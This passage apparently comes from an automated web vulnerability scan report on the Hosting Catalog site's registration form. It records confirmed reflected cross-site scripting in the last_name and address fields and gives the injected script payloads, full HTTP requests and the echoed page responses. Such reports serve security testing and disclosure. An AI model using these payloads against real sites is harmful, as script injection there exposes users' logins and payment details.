<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='8A9050CE93D4B4863CCC9E1B3E992A76C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='8A9050CE93D4B4863318C6AB1E5F540A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='8A9050CE93D4B4864FADFA971CE5AFD7C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='8A9050CE93D4B486FC2CAB3FB60C8FCCC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='8A9050CE93D4B48600DD1A946CAB48706F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='8A9050CE93D4B486C241E0B4CC7F1ED9C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='8A9050CE93D4B48654C29A8C08ED61FFC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='8A9050CE93D4B4868B804237E193AE596F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='8A9050CE93D4B48673358E87656AC428C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='8A9050CE93D4B4866E219DF54CFF55856F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='8A9050CE93D4B4863C1764EA918657E7C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='8A9050CE93D4B4866F3130A0DCAB8223C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='8A9050CE93D4B4868A3261C0CDB26EC4C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='8A9050CE93D4B4868AFC62030B087284C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='8A9050CE93D4B48603A47B4503C4B712C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='8A9050CE93D4B48620C8F00148577871C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='8A9050CE93D4B486E8FBEB22BCF939866F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='8A9050CE93D4B4867483B06B4E0184606F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='8A9050CE93D4B486824B8496A7EC0F6F6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST '"--></style></script><script>alert(0x001F42)</script>
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 530
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001F42)%3c%2fscript%3e&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:21:40 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='D77F49075529D350F984200D1C09D845C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='D77F49075529D3503374673B235A3CA46F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='D77F49075529D3501C409480C32F32CAC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='D77F49075529D350DF0C44F086315A8BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='D77F49075529D3505EC2647ABB6B0ABC6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='D77F49075529D35079AF67C96ED39444C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='D77F49075529D350B8D74AD2314341A5C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='D77F49075529D3501752C08B72D68AAF6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='D77F49075529D35032B348309DDC98B7C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='D77F49075529D35011B0A97BC734ABC36F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='D77F49075529D3508D6016FA473BF512C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='D77F49075529D350124BC6F91C449485C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='D77F49075529D350FF7F8B4DE30B17D3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='D77F49075529D350DAF7910196090F8EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='D77F49075529D3509047FF76D01E1247C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='D77F49075529D3506B3BA4F69FD180A6C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='D77F49075529D3501C1A0ACF65522E946F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='D77F49075529D350C1A918D70489EB986F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='D77F49075529D350CF5880DFD522756C6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST '"--></style></script><script>alert(0x001F43)</script>
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 534
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001F43)%3c%2fscript%3e&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:21:47 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var 